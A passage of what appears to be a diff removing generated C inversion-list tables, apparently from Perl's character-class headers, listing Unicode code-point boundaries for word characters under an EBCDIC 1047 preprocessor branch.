0x101FE, - 0x10280, - 0x1029D, - 0x102A0, - 0x102D1, - 0x102E0, - 0x102E1, - 0x10300, - 0x10320, - 0x1032D, - 0x1034B, - 0x10350, - 0x1037B, - 0x10380, - 0x1039E, - 0x103A0, - 0x103C4, - 0x103C8, - 0x103D0, - 0x103D1, - 0x103D6, - 0x10400, - 0x1049E, - 0x104A0, - 0x104AA, - 0x104B0, - 0x104D4, - 0x104D8, - 0x104FC, - 0x10500, - 0x10528, - 0x10530, - 0x10564, - 0x10600, - 0x10737, - 0x10740, - 0x10756, - 0x10760, - 0x10768, - 0x10800, - 0x10806, - 0x10808, - 0x10809, - 0x1080A, - 0x10836, - 0x10837, - 0x10839, - 0x1083C, - 0x1083D, - 0x1083F, - 0x10856, - 0x10860, - 0x10877, - 0x10880, - 0x1089F, - 0x108E0, - 0x108F3, - 0x108F4, - 0x108F6, - 0x10900, - 0x10916, - 0x10920, - 0x1093A, - 0x10980, - 0x109B8, - 0x109BE, - 0x109C0, - 0x10A00, - 0x10A04, - 0x10A05, - 0x10A07, - 0x10A0C, - 0x10A14, - 0x10A15, - 0x10A18, - 0x10A19, - 0x10A34, - 0x10A38, - 0x10A3B, - 0x10A3F, - 0x10A40, - 0x10A60, - 0x10A7D, - 0x10A80, - 0x10A9D, - 0x10AC0, - 0x10AC8, - 0x10AC9, - 0x10AE7, - 0x10B00, - 0x10B36, - 0x10B40, - 0x10B56, - 0x10B60, - 0x10B73, - 0x10B80, - 0x10B92, - 0x10C00, - 0x10C49, - 0x10C80, - 0x10CB3, - 0x10CC0, - 0x10CF3, - 0x11000, - 0x11047, - 0x11066, - 0x11070, - 0x1107F, - 0x110BB, - 0x110D0, - 0x110E9, - 0x110F0, - 0x110FA, - 0x11100, - 0x11135, - 0x11136, - 0x11140, - 0x11150, - 0x11174, - 0x11176, - 0x11177, - 0x11180, - 0x111C5, - 0x111CA, - 0x111CD, - 0x111D0, - 0x111DB, - 0x111DC, - 0x111DD, - 0x11200, - 0x11212, - 0x11213, - 0x11238, - 0x1123E, - 0x1123F, - 0x11280, - 0x11287, - 0x11288, - 0x11289, - 0x1128A, - 0x1128E, - 0x1128F, - 0x1129E, - 0x1129F, - 0x112A9, - 0x112B0, - 0x112EB, - 0x112F0, - 0x112FA, - 0x11300, - 0x11304, - 0x11305, - 0x1130D, - 0x1130F, - 0x11311, - 0x11313, - 0x11329, - 0x1132A, - 0x11331, - 0x11332, - 0x11334, - 0x11335, - 0x1133A, - 0x1133C, - 0x11345, - 0x11347, - 0x11349, - 0x1134B, - 0x1134E, - 0x11350, - 0x11351, - 0x11357, - 0x11358, - 0x1135D, - 0x11364, - 0x11366, - 0x1136D, - 0x11370, - 0x11375, - 0x11400, - 0x1144B, - 0x11450, - 0x1145A, - 0x11480, - 0x114C6, - 0x114C7, - 0x114C8, - 0x114D0, - 0x114DA, - 0x11580, - 0x115B6, - 0x115B8, - 0x115C1, - 0x115D8, - 0x115DE, - 0x11600, - 0x11641, - 0x11644, - 0x11645, - 0x11650, - 0x1165A, - 0x11680, - 0x116B8, - 0x116C0, - 0x116CA, - 0x11700, - 0x1171A, - 0x1171D, - 0x1172C, - 0x11730, - 0x1173A, - 0x118A0, - 0x118EA, - 0x118FF, - 0x11900, - 0x11A00, - 0x11A3F, - 0x11A47, - 0x11A48, - 0x11A50, - 0x11A84, - 0x11A86, - 0x11A9A, - 0x11AC0, - 0x11AF9, - 0x11C00, - 0x11C09, - 0x11C0A, - 0x11C37, - 0x11C38, - 0x11C41, - 0x11C50, - 0x11C5A, - 0x11C72, - 0x11C90, - 0x11C92, - 0x11CA8, - 0x11CA9, - 0x11CB7, - 0x11D00, - 0x11D07, - 0x11D08, - 0x11D0A, - 0x11D0B, - 0x11D37, - 0x11D3A, - 0x11D3B, - 0x11D3C, - 0x11D3E, - 0x11D3F, - 0x11D48, - 0x11D50, - 0x11D5A, - 0x12000, - 0x1239A, - 0x12400, - 0x1246F, - 0x12480, - 0x12544, - 0x13000, - 0x1342F, - 0x14400, - 0x14647, - 0x16800, - 0x16A39, - 0x16A40, - 0x16A5F, - 0x16A60, - 0x16A6A, - 0x16AD0, - 0x16AEE, - 0x16AF0, - 0x16AF5, - 0x16B00, - 0x16B37, - 0x16B40, - 0x16B44, - 0x16B50, - 0x16B5A, - 0x16B63, - 0x16B78, - 0x16B7D, - 0x16B90, - 0x16F00, - 0x16F45, - 0x16F50, - 0x16F7F, - 0x16F8F, - 0x16FA0, - 0x16FE0, - 0x16FE2, - 0x17000, - 0x187ED, - 0x18800, - 0x18AF3, - 0x1B000, - 0x1B11F, - 0x1B170, - 0x1B2FC, - 0x1BC00, - 0x1BC6B, - 0x1BC70, - 0x1BC7D, - 0x1BC80, - 0x1BC89, - 0x1BC90, - 0x1BC9A, - 0x1BC9D, - 0x1BC9F, - 0x1D165, - 0x1D16A, - 0x1D16D, - 0x1D173, - 0x1D17B, - 0x1D183, - 0x1D185, - 0x1D18C, - 0x1D1AA, - 0x1D1AE, - 0x1D242, - 0x1D245, - 0x1D400, - 0x1D455, - 0x1D456, - 0x1D49D, - 0x1D49E, - 0x1D4A0, - 0x1D4A2, - 0x1D4A3, - 0x1D4A5, - 0x1D4A7, - 0x1D4A9, - 0x1D4AD, - 0x1D4AE, - 0x1D4BA, - 0x1D4BB, - 0x1D4BC, - 0x1D4BD, - 0x1D4C4, - 0x1D4C5, - 0x1D506, - 0x1D507, - 0x1D50B, - 0x1D50D, - 0x1D515, - 0x1D516, - 0x1D51D, - 0x1D51E, - 0x1D53A, - 0x1D53B, - 0x1D53F, - 0x1D540, - 0x1D545, - 0x1D546, - 0x1D547, - 0x1D54A, - 0x1D551, - 0x1D552, - 0x1D6A6, - 0x1D6A8, - 0x1D6C1, - 0x1D6C2, - 0x1D6DB, - 0x1D6DC, - 0x1D6FB, - 0x1D6FC, - 0x1D715, - 0x1D716, - 0x1D735, - 0x1D736, - 0x1D74F, - 0x1D750, - 0x1D76F, - 0x1D770, - 0x1D789, - 0x1D78A, - 0x1D7A9, - 0x1D7AA, - 0x1D7C3, - 0x1D7C4, - 0x1D7CC, - 0x1D7CE, - 0x1D800, - 0x1DA00, - 0x1DA37, - 0x1DA3B, - 0x1DA6D, - 0x1DA75, - 0x1DA76, - 0x1DA84, - 0x1DA85, - 0x1DA9B, - 0x1DAA0, - 0x1DAA1, - 0x1DAB0, - 0x1E000, - 0x1E007, - 0x1E008, - 0x1E019, - 0x1E01B, - 0x1E022, - 0x1E023, - 0x1E025, - 0x1E026, - 0x1E02B, - 0x1E800, - 0x1E8C5, - 0x1E8D0, - 0x1E8D7, - 0x1E900, - 0x1E94B, - 0x1E950, - 0x1E95A, - 0x1EE00, - 0x1EE04, - 0x1EE05, - 0x1EE20, - 0x1EE21, - 0x1EE23, - 0x1EE24, - 0x1EE25, - 0x1EE27, - 0x1EE28, - 0x1EE29, - 0x1EE33, - 0x1EE34, - 0x1EE38, - 0x1EE39, - 0x1EE3A, - 0x1EE3B, - 0x1EE3C, - 0x1EE42, - 0x1EE43, - 0x1EE47, - 0x1EE48, - 0x1EE49, - 0x1EE4A, - 0x1EE4B, - 0x1EE4C, - 0x1EE4D, - 0x1EE50, - 0x1EE51, - 0x1EE53, - 0x1EE54, - 0x1EE55, - 0x1EE57, - 0x1EE58, - 0x1EE59, - 0x1EE5A, - 0x1EE5B, - 0x1EE5C, - 0x1EE5D, - 0x1EE5E, - 0x1EE5F, - 0x1EE60, - 0x1EE61, - 0x1EE63, - 0x1EE64, - 0x1EE65, - 0x1EE67, - 0x1EE6B, - 0x1EE6C, - 0x1EE73, - 0x1EE74, - 0x1EE78, - 0x1EE79, - 0x1EE7D, - 0x1EE7E, - 0x1EE7F, - 0x1EE80, - 0x1EE8A, - 0x1EE8B, - 0x1EE9C, - 0x1EEA1, - 0x1EEA4, - 0x1EEA5, - 0x1EEAA, - 0x1EEAB, - 0x1EEBC, - 0x1F130, - 0x1F14A, - 0x1F150, - 0x1F16A, - 0x1F170, - 0x1F18A, - 0x20000, - 0x2A6D7, - 0x2A700, - 0x2B735, - 0x2B740, - 0x2B81E, - 0x2B820, - 0x2CEA2, - 0x2CEB0, - 0x2EBE1, - 0x2F800, - 0x2FA1E, - 0xE0100, - 0xE01F0 -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_XPOSIXWORD_invlist[] = { /* for EBCDIC 1047 */ - 1411, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x42, - 0x4A, - 0x51, - 0x5A, - 0x62, - 0x6A, - 0x6D, - 0x6E, - 0x70, - 0x79, - 0x80, - 0x8A, - 0x8C, - 0x8F, - 0x91, - 0x9D, - 0x9E, - 0x9F, - 0xA0, - 0xA1, - 0xA2, - 0xAA, - 0xAC, - 0xAD, - 0xAE, - 0xAF, - 0xBA, - 0xBB, - 0xC1, - 0xCA, - 0xCB, - 0xD0, - 0xD1, - 0xDA, - 0xDB, - 0xE0, - 0xE2, - 0xEA, - 0xEB, - 0xFA, - 0xFB, - 0xFF, - 0x100, - 0x2C2, - 0x2C6, - 0x2D2, - 0x2E0, - 0x2E5, - 0x2EC, - 0x2ED, - 0x2EE, - 0x2EF, - 0x300, - 0x375, - 0x376, - 0x378, - 0x37A, - 0x37E, - 0x37F, - 0x380, - 0x386, - 0x387, - 0x388, - 0x38B, - 0x38C, - 0x38D, - 0x38E, - 0x3A2, - 0x3A3, - 0x3F6, - 0x3F7, - 0x482, - 0x483, - 0x530, - 0x531, - 0x557, - 0x559, - 0x55A, - 0x561, - 0x588, - 0x591, - 0x5BE, - 0x5BF, - 0x5C0, - 0x5C1, - 0x5C3, - 0x5C4, - 0x5C6, - 0x5C7, - 0x5C8, - 0x5D0, - 0x5EB, - 0x5F0, - 0x5F3, - 0x610, - 0x61B, - 0x620, - 0x66A, - 0x66E, - 0x6D4, - 0x6D5, - 0x6DD, - 0x6DF, - 0x6E9, - 0x6EA, - 0x6FD, - 0x6FF, - 0x700, - 0x710, - 0x74B, - 0x74D, - 0x7B2, - 0x7C0, - 0x7F6, - 0x7FA, - 0x7FB, - 0x800, - 0x82E, - 0x840, - 0x85C, - 0x860, - 0x86B, - 0x8A0, - 0x8B5, - 0x8B6, - 0x8BE, - 0x8D4, - 0x8E2, - 0x8E3, - 0x964, - 0x966, - 0x970, - 0x971, - 0x984, - 0x985, - 0x98D, - 0x98F, - 0x991, - 0x993, - 0x9A9, - 0x9AA, - 0x9B1, - 0x9B2, - 0x9B3, - 0x9B6, - 0x9BA, - 0x9BC, - 0x9C5, - 0x9C7, - 0x9C9, - 0x9CB, - 0x9CF, - 0x9D7, - 0x9D8, - 0x9DC, - 0x9DE, - 0x9DF, - 0x9E4, - 0x9E6, - 0x9F2, - 0x9FC, - 0x9FD, - 0xA01, - 0xA04, - 0xA05, - 0xA0B, - 0xA0F, - 0xA11, - 0xA13, - 0xA29, - 0xA2A, - 0xA31, - 0xA32, - 0xA34, - 0xA35, - 0xA37, - 0xA38, - 0xA3A, - 0xA3C, - 0xA3D, - 0xA3E, - 0xA43, - 0xA47, - 0xA49, - 0xA4B, - 0xA4E, - 0xA51, - 0xA52, - 0xA59, - 0xA5D, - 0xA5E, - 0xA5F, - 0xA66, - 0xA76, - 0xA81, - 0xA84, - 0xA85, - 0xA8E, - 0xA8F, - 0xA92, - 0xA93, - 0xAA9, - 0xAAA, - 0xAB1, - 0xAB2, - 0xAB4, - 0xAB5, - 0xABA, - 0xABC, - 0xAC6, - 0xAC7, - 0xACA, - 0xACB, - 0xACE, - 0xAD0, - 0xAD1, - 0xAE0, - 0xAE4, - 0xAE6, - 0xAF0, - 0xAF9, - 0xB00, - 0xB01, - 0xB04, - 0xB05, - 0xB0D, - 0xB0F, - 0xB11, - 0xB13, - 0xB29, - 0xB2A, - 0xB31, - 0xB32, - 0xB34, - 0xB35, - 0xB3A, - 0xB3C, - 0xB45, - 0xB47, - 0xB49, - 0xB4B, - 0xB4E, - 0xB56, - 0xB58, - 0xB5C, - 0xB5E, - 0xB5F, - 0xB64, - 0xB66, - 0xB70, - 0xB71, - 0xB72, - 0xB82, - 0xB84, - 0xB85, - 0xB8B, - 0xB8E, - 0xB91, - 0xB92, - 0xB96, - 0xB99, - 0xB9B, - 0xB9C, - 0xB9D, - 0xB9E, - 0xBA0, - 0xBA3, - 0xBA5, - 0xBA8, - 0xBAB, - 0xBAE, - 0xBBA, - 0xBBE, - 0xBC3, - 0xBC6, - 0xBC9, - 0xBCA, - 0xBCE, - 0xBD0, - 0xBD1, - 0xBD7, - 0xBD8, - 0xBE6, - 0xBF0, - 0xC00, - 0xC04, - 0xC05, - 0xC0D, - 0xC0E, - 0xC11, - 0xC12, - 0xC29, - 0xC2A, - 0xC3A, - 0xC3D, - 0xC45, - 0xC46, - 0xC49, - 0xC4A, - 0xC4E, - 0xC55, - 0xC57, - 0xC58, - 0xC5B, - 0xC60, - 0xC64, - 0xC66, - 0xC70, - 0xC80, - 0xC84, - 0xC85, - 0xC8D, - 0xC8E, - 0xC91, - 0xC92, - 0xCA9, - 0xCAA, - 0xCB4, - 0xCB5, - 0xCBA, - 0xCBC, - 0xCC5, - 0xCC6, - 0xCC9, - 0xCCA, - 0xCCE, - 0xCD5, - 0xCD7, - 0xCDE, - 0xCDF, - 0xCE0, - 0xCE4, - 0xCE6, - 0xCF0, - 0xCF1, - 0xCF3, - 0xD00, - 0xD04, - 0xD05, - 0xD0D, - 0xD0E, - 0xD11, - 0xD12, - 0xD45, - 0xD46, - 0xD49, - 0xD4A, - 0xD4F, - 0xD54, - 0xD58, - 0xD5F, - 0xD64, - 0xD66, - 0xD70, - 0xD7A, - 0xD80, - 0xD82, - 0xD84, - 0xD85, - 0xD97, - 0xD9A, - 0xDB2, - 0xDB3, - 0xDBC, - 0xDBD, - 0xDBE, - 0xDC0, - 0xDC7, - 0xDCA, - 0xDCB, - 0xDCF, - 0xDD5, - 0xDD6, - 0xDD7, - 0xDD8, - 0xDE0, - 0xDE6, - 0xDF0, - 0xDF2, - 0xDF4, - 0xE01, - 0xE3B, - 0xE40, - 0xE4F, - 0xE50, - 0xE5A, - 0xE81, - 0xE83, - 0xE84, - 0xE85, - 0xE87, - 0xE89, - 0xE8A, - 0xE8B, - 0xE8D, - 0xE8E, - 0xE94, - 0xE98, - 0xE99, - 0xEA0, - 0xEA1, - 0xEA4, - 0xEA5, - 0xEA6, - 0xEA7, - 0xEA8, - 0xEAA, - 0xEAC, - 0xEAD, - 0xEBA, - 0xEBB, - 0xEBE, - 0xEC0, - 0xEC5, - 0xEC6, - 0xEC7, - 0xEC8, - 0xECE, - 0xED0, - 0xEDA, - 0xEDC, - 0xEE0, - 0xF00, - 0xF01, - 0xF18, - 0xF1A, - 0xF20, - 0xF2A, - 0xF35, - 0xF36, - 0xF37, - 0xF38, - 0xF39, - 0xF3A, - 0xF3E, - 0xF48, - 0xF49, - 0xF6D, - 0xF71, - 0xF85, - 0xF86, - 0xF98, - 0xF99, - 0xFBD, - 0xFC6, - 0xFC7, - 0x1000, - 0x104A, - 0x1050, - 0x109E, - 0x10A0, - 0x10C6, - 0x10C7, - 0x10C8, - 0x10CD, - 0x10CE, - 0x10D0, - 0x10FB, - 0x10FC, - 0x1249, - 0x124A, - 0x124E, - 0x1250, - 0x1257, - 0x1258, - 0x1259, - 0x125A, - 0x125E, - 0x1260, - 0x1289, - 0x128A, - 0x128E, - 0x1290, - 0x12B1, - 0x12B2, - 0x12B6, - 0x12B8, - 0x12BF, - 0x12C0, - 0x12C1, - 0x12C2, - 0x12C6, - 0x12C8, - 0x12D7, - 0x12D8, - 0x1311, - 0x1312, - 0x1316, - 0x1318, - 0x135B, - 0x135D, - 0x1360, - 0x1380, - 0x1390, - 0x13A0, - 0x13F6, - 0x13F8, - 0x13FE, - 0x1401, - 0x166D, - 0x166F, - 0x1680, - 0x1681, - 0x169B, - 0x16A0, - 0x16EB, - 0x16EE, - 0x16F9, - 0x1700, - 0x170D, - 0x170E, - 0x1715, - 0x1720, - 0x1735, - 0x1740, - 0x1754, - 0x1760, - 0x176D, - 0x176E, - 0x1771, - 0x1772, - 0x1774, - 0x1780, - 0x17D4, - 0x17D7, - 0x17D8, - 0x17DC, - 0x17DE, - 0x17E0, - 0x17EA, - 0x180B, - 0x180E, - 0x1810, - 0x181A, - 0x1820, - 0x1878, - 0x1880, - 0x18AB, - 0x18B0, - 0x18F6, - 0x1900, - 0x191F, - 0x1920, - 0x192C, - 0x1930, - 0x193C, - 0x1946, - 0x196E, - 0x1970, - 0x1975, - 0x1980, - 0x19AC, - 0x19B0, - 0x19CA, - 0x19D0, - 0x19DA, - 0x1A00, - 0x1A1C, - 0x1A20, - 0x1A5F, - 0x1A60, - 0x1A7D, - 0x1A7F, - 0x1A8A, - 0x1A90, - 0x1A9A, - 0x1AA7, - 0x1AA8, - 0x1AB0, - 0x1ABF, - 0x1B00, - 0x1B4C, - 0x1B50, - 0x1B5A, - 0x1B6B, - 0x1B74, - 0x1B80, - 0x1BF4, - 0x1C00, - 0x1C38, - 0x1C40, - 0x1C4A, - 0x1C4D, - 0x1C7E, - 0x1C80, - 0x1C89, - 0x1CD0, - 0x1CD3, - 0x1CD4, - 0x1CFA, - 0x1D00, - 0x1DFA, - 0x1DFB, - 0x1F16, - 0x1F18, - 0x1F1E, - 0x1F20, - 0x1F46, - 0x1F48, - 0x1F4E, - 0x1F50, - 0x1F58, - 0x1F59, - 0x1F5A, - 0x1F5B, - 0x1F5C, - 0x1F5D, - 0x1F5E, - 0x1F5F, - 0x1F7E, - 0x1F80, - 0x1FB5, - 0x1FB6, - 0x1FBD, - 0x1FBE, - 0x1FBF, - 0x1FC2, - 0x1FC5, - 0x1FC6, - 0x1FCD, - 0x1FD0, - 0x1FD4, - 0x1FD6, - 0x1FDC, - 0x1FE0, - 0x1FED, - 0x1FF2, - 0x1FF5, - 0x1FF6, - 0x1FFD, - 0x200C, - 0x200E, - 0x203F, - 0x2041, - 0x2054, - 0x2055, - 0x2071, - 0x2072, - 0x207F, - 0x2080, - 0x2090, - 0x209D, - 0x20D0, - 0x20F1, - 0x2102, - 0x2103, - 0x2107, - 0x2108, - 0x210A, - 0x2114, - 0x2115, - 0x2116, - 0x2119, - 0x211E, - 0x2124, - 0x2125, - 0x2126, - 0x2127, - 0x2128, - 0x2129, - 0x212A, - 0x212E, - 0x212F, - 0x213A, - 0x213C, - 0x2140, - 0x2145, - 0x214A, - 0x214E, - 0x214F, - 0x2160, - 0x2189, - 0x24B6, - 0x24EA, - 0x2C00, - 0x2C2F, - 0x2C30, - 0x2C5F, - 0x2C60, - 0x2CE5, - 0x2CEB, - 0x2CF4, - 0x2D00, - 0x2D26, - 0x2D27, - 0x2D28, - 0x2D2D, - 0x2D2E, - 0x2D30, - 0x2D68, - 0x2D6F, - 0x2D70, - 0x2D7F, - 0x2D97, - 0x2DA0, - 0x2DA7, - 0x2DA8, - 0x2DAF, - 0x2DB0, - 0x2DB7, - 0x2DB8, - 0x2DBF, - 0x2DC0, - 0x2DC7, - 0x2DC8, - 0x2DCF, - 0x2DD0, - 0x2DD7, - 0x2DD8, - 0x2DDF, - 0x2DE0, - 0x2E00, - 0x2E2F, - 0x2E30, - 0x3005, - 0x3008, - 0x3021, - 0x3030, - 0x3031, - 0x3036, - 0x3038, - 0x303D, - 0x3041, - 0x3097, - 0x3099, - 0x309B, - 0x309D, - 0x30A0, - 0x30A1, - 0x30FB, - 0x30FC, - 0x3100, - 0x3105, - 0x312F, - 0x3131, - 0x318F, - 0x31A0, - 0x31BB, - 0x31F0, - 0x3200, - 0x3400, - 0x4DB6, - 0x4E00, - 0x9FEB, - 0xA000, - 0xA48D, - 0xA4D0, - 0xA4FE, - 0xA500, - 0xA60D, - 0xA610, - 0xA62C, - 0xA640, - 0xA673, - 0xA674, - 0xA67E, - 0xA67F, - 0xA6F2, - 0xA717, - 0xA720, - 0xA722, - 0xA789, - 0xA78B, - 0xA7AF, - 0xA7B0, - 0xA7B8, - 0xA7F7, - 0xA828, - 0xA840, - 0xA874, - 0xA880, - 0xA8C6, - 0xA8D0, - 0xA8DA, - 0xA8E0, - 0xA8F8, - 0xA8FB, - 0xA8FC, - 0xA8FD, - 0xA8FE, - 0xA900, - 0xA92E, - 0xA930, - 0xA954, - 0xA960, - 0xA97D, - 0xA980, - 0xA9C1, - 0xA9CF, - 0xA9DA, - 0xA9E0, - 0xA9FF, - 0xAA00, - 0xAA37, - 0xAA40, - 0xAA4E, - 0xAA50, - 0xAA5A, - 0xAA60, - 0xAA77, - 0xAA7A, - 0xAAC3, - 0xAADB, - 0xAADE, - 0xAAE0, - 0xAAF0, - 0xAAF2, - 0xAAF7, - 0xAB01, - 0xAB07, - 0xAB09, - 0xAB0F, - 0xAB11, - 0xAB17, - 0xAB20, - 0xAB27, - 0xAB28, - 0xAB2F, - 0xAB30, - 0xAB5B, - 0xAB5C, - 0xAB66, - 0xAB70, - 0xABEB, - 0xABEC, - 0xABEE, - 0xABF0, - 0xABFA, - 0xAC00, - 0xD7A4, - 0xD7B0, - 0xD7C7, - 0xD7CB, - 0xD7FC, - 0xF900, - 0xFA6E, - 0xFA70, - 0xFADA, - 0xFB00, - 0xFB07, - 0xFB13, - 0xFB18, - 0xFB1D, - 0xFB29, - 0xFB2A, - 0xFB37, - 0xFB38, - 0xFB3D, - 0xFB3E, - 0xFB3F, - 0xFB40, - 0xFB42, - 0xFB43, - 0xFB45, - 0xFB46, - 0xFBB2, - 0xFBD3, - 0xFD3E, - 0xFD50, - 0xFD90, - 0xFD92, - 0xFDC8, - 0xFDF0, - 0xFDFC, - 0xFE00, - 0xFE10, - 0xFE20, - 0xFE30, - 0xFE33, - 0xFE35, - 0xFE4D, - 0xFE50, - 0xFE70, - 0xFE75, - 0xFE76, - 0xFEFD, - 0xFF10, - 0xFF1A, - 0xFF21, - 0xFF3B, - 0xFF3F, - 0xFF40, - 0xFF41, - 0xFF5B, - 0xFF66, - 0xFFBF, - 0xFFC2, - 0xFFC8, - 0xFFCA, - 0xFFD0, - 0xFFD2, - 0xFFD8, - 0xFFDA, - 0xFFDD, - 0x10000, - 0x1000C, - 0x1000D, - 0x10027, - 0x10028, - 0x1003B, - 0x1003C, - 0x1003E, - 0x1003F, - 0x1004E, - 0x10050, - 0x1005E, - 0x10080, - 0x100FB, - 0x10140, - 0x10175, - 0x101FD, - 0x101FE, - 0x10280, - 0x1029D, - 0x102A0, - 0x102D1, - 0x102E0, - 0x102E1, - 0x10300, - 0x10320, - 0x1032D, - 0x1034B, - 0x10350, - 0x1037B, - 0x10380, - 0x1039E, - 0x103A0, - 0x103C4, - 0x103C8, - 0x103D0, - 0x103D1, - 0x103D6, - 0x10400, - 0x1049E, - 0x104A0, - 0x104AA, - 0x104B0, - 0x104D4, - 0x104D8, - 0x104FC, - 0x10500, - 0x10528, - 0x10530, - 0x10564, - 0x10600, - 0x10737, - 0x10740, - 0x10756, - 0x10760, - 0x10768, - 0x10800, - 0x10806, - 0x10808, - 0x10809, - 0x1080A, - 0x10836, - 0x10837, - 0x10839, - 0x1083C, - 0x1083D, - 0x1083F, - 0x10856, - 0x10860, - 0x10877, - 0x10880, - 0x1089F, - 0x108E0, - 0x108F3, - 0x108F4, - 0x108F6, - 0x10900, - 0x10916, - 0x10920, - 0x1093A, - 0x10980, - 0x109B8, - 0x109BE, - 0x109C0, - 0x10A00, - 0x10A04, - 0x10A05, - 0x10A07, - 0x10A0C, - 0x10A14, - 0x10A15, - 0x10A18, - 0x10A19, - 0x10A34, - 0x10A38, - 0x10A3B, - 0x10A3F, - 0x10A40, - 0x10A60, - 0x10A7D, - 0x10A80, - 0x10A9D, - 0x10AC0, - 0x10AC8, - 0x10AC9, - 0x10AE7, - 0x10B00, - 0x10B36, - 0x10B40, - 0x10B56, - 0x10B60, - 0x10B73, - 0x10B80, - 0x10B92, - 0x10C00, - 0x10C49, - 0x10C80, - 0x10CB3, - 0x10CC0, - 0x10CF3, - 0x11000, - 0x11047, - 0x11066, - 0x11070, - 0x1107F, - 0x110BB, - 0x110D0, - 0x110E9, - 0x110F0, - 0x110FA, - 0x11100, - 0x11135, - 0x11136, - 0x11140, - 0x11150, - 0x11174, - 0x11176, - 0x11177, - 0x11180, - 0x111C5, - 0x111CA, - 0x111CD, - 0x111D0, - 0x111DB, - 0x111DC, - 0x111DD, - 0x11200, - 0x11212, - 0x11213, - 0x11238, - 0x1123E, - 0x1123F, - 0x11280, - 0x11287, - 0x11288, - 0x11289, - 0x1128A, - 0x1128E, - 0x1128F, - 0x1129E, - 0x1129F, - 0x112A9, - 0x112B0, - 0x112EB, - 0x112F0, - 0x112FA, - 0x11300, - 0x11304, - 0x11305, - 0x1130D, - 0x1130F, - 0x11311, - 0x11313, - 0x11329, - 0x1132A, - 0x11331, - 0x11332, - 0x11334, - 0x11335, - 0x1133A, - 0x1133C, - 0x11345, - 0x11347, - 0x11349, - 0x1134B, - 0x1134E, - 0x11350, - 0x11351, - 0x11357, - 0x11358, - 0x1135D, - 0x11364, - 0x11366, - 0x1136D, - 0x11370, - 0x11375, - 0x11400, - 0x1144B, - 0x11450, - 0x1145A, - 0x11480, - 0x114C6, - 0x114C7, - 0x114C8, - 0x114D0, - 0x114DA, - 0x11580, - 0x115B6, - 0x115B8, - 0x115C1, - 0x115D8, - 0x115DE, - 0x11600, - 0x11641, - 0x11644, - 0x11645, - 0x11650, - 0x1165A, - 0x11680, - 0x116B8, - 0x116C0, - 0x116CA, - 0x11700, - 0x1171A, - 0x1171D, - 0x1172C, - 0x11730, - 0x1173A, - 0x118A0, - 0x118EA, - 0x118FF, - 0x11900, - 0x11A00, - 0x11A3F, - 0x11A47, - 0x11A48, - 0x11A50, - 0x11A84, - 0x11A86, - 0x11A9A, - 0x11AC0, - 0x11AF9, - 0x11C00, - 0x11C09, - 0x11C0A, - 0x11C37, - 0x11C38, - 0x11C41, - 0x11C50, - 0x11C5A, - 0x11C72, - 0x11C90, - 0x11C92, - 0x11CA8, - 0x11CA9, - 0x11CB7, - 0x11D00, - 0x11D07, - 0x11D08, - 0x11D0A, - 0x11D0B, - 0x11D37, - 0x11D3A, - 0x11D3B, - 0x11D3C, - 0x11D3E, - 0x11D3F, - 0x11D48, - 0x11D50, - 0x11D5A, - 0x12000, - 0x1239A, - 0x12400, - 0x1246F, - 0x12480, - 0x12544, - 0x13000, - 0x1342F, - 0x14400, - 0x14647, - 0x16800, - 0x16A39, - 0x16A40, - 0x16A5F, - 0x16A60, - 0x16A6A, - 0x16AD0, - 0x16AEE, - 0x16AF0, - 0x16AF5, - 0x16B00, - 0x16B37, - 0x16B40, - 0x16B44, - 0x16B50, - 0x16B5A, - 0x16B63, - 0x16B78, - 0x16B7D, - 0x16B90, - 0x16F00, - 0x16F45, - 0x16F50, - 0x16F7F, - 0x16F8F, - 0x16FA0, - 0x16FE0, - 0x16FE2, - 0x17000, - 0x187ED, - 0x18800, - 0x18AF3, - 0x1B000, - 0x1B11F, - 0x1B170, - 0x1B2FC, - 0x1BC00, - 0x1BC6B, - 0x1BC70, - 0x1BC7D, - 0x1BC80, - 0x1BC89, - 0x1BC90, - 0x1BC9A, - 0x1BC9D, - 0x1BC9F, - 0x1D165, - 0x1D16A, - 0x1D16D, - 0x1D173, - 0x1D17B, - 0x1D183, - 0x1D185, - 0x1D18C, - 0x1D1AA, - 0x1D1AE, - 0x1D242, - 0x1D245, - 0x1D400, - 0x1D455, - 0x1D456, - 0x1D49D, - 0x1D49E, - 0x1D4A0, - 0x1D4A2, - 0x1D4A3, - 0x1D4A5, - 0x1D4A7, - 0x1D4A9, - 0x1D4AD, - 0x1D4AE, - 0x1D4BA, - 0x1D4BB, - 0x1D4BC, - 0x1D4BD, - 0x1D4C4, - 0x1D4C5, - 0x1D506, - 0x1D507, - 0x1D50B, - 0x1D50D, - 0x1D515, - 0x1D516, - 0x1D51D, - 0x1D51E, - 0x1D53A, - 0x1D53B, - 0x1D53F, - 0x1D540, - 0x1D545, - 0x1D546, - 0x1D547, - 0x1D54A, - 0x1D551, - 0x1D552, - 0x1D6A6, - 0x1D6A8, - 0x1D6C1, - 0x1D6C2, - 0x1D6DB, - 0x1D6DC, - 0x1D6FB, - 0x1D6FC, - 0x1D715, - 0x1D716, - 0x1D735, - 0x1D736, - 0x1D74F, - 0x1D750, - 0x1D76F, - 0x1D770, - 0x1D789, - 0x1D78A, - 0x1D7A9, - 0x1D7AA, - 0x1D7C3, - 0x1D7C4, - 0x1D7CC, - 0x1D7CE, - 0x1D800, - 0x1DA00, - 0x1DA37, - 0x1DA3B, - 0x1DA6D, - 0x1DA75, - 0x1DA76, - 0x1DA84, - 0x1DA85, - 0x1DA9B, - 0x1DAA0, - 0x1DAA1, - 0x1DAB0, - 0x1E000, - 0x1E007, - 0x1E008, - 0x1E019, - 0x1E01B, - 0x1E022, - 0x1E023, - 0x1E025, - 0x1E026, - 0x1E02B, - 0x1E800, - 0x1E8C5, - 0x1E8D0, - 0x1E8D7, - 0x1E900, - 0x1E94B, - 0x1E950, - 0x1E95A, - 0x1EE00, - 0x1EE04, - 0x1EE05, - 0x1EE20, - 0x1EE21, - 0x1EE23, - 0x1EE24, - 0x1EE25, - 0x1EE27, - 0x1EE28, - 0x1EE29, - 0x1EE33, - 0x1EE34, - 0x1EE38, - 0x1EE39, - 0x1EE3A, - 0x1EE3B, - 